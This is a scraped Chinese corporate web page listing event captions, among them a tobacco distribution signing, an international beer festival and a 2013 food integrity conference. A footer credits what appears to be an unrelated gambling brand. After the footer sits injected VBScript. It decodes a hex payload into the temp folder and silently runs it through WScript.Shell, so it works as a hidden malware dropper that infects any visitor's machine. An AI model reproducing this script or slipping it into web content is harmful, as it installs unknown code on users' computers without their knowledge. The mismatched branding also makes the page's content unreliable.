• 烟草配送项目签约仪式

  • 北京二商集团项目签约仪式

  • 营养餐产业技术创新战略联盟成立

  • 柬埔寨木薯干项目签约仪式

  • 国际啤酒节开幕式

  • 河北可口可乐公司开业仪式

  • 集团植树活动

  • 集团主办2013全球食品诚信大会

  • 与北青集团签署合作协议

  • 与印尼农渔业合作社签约

  • 版权所有:百盛娱乐 京ICP备 13036447号-1  

    地址:北京市崇文门外大街9号正仁大厦8层

    Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //-->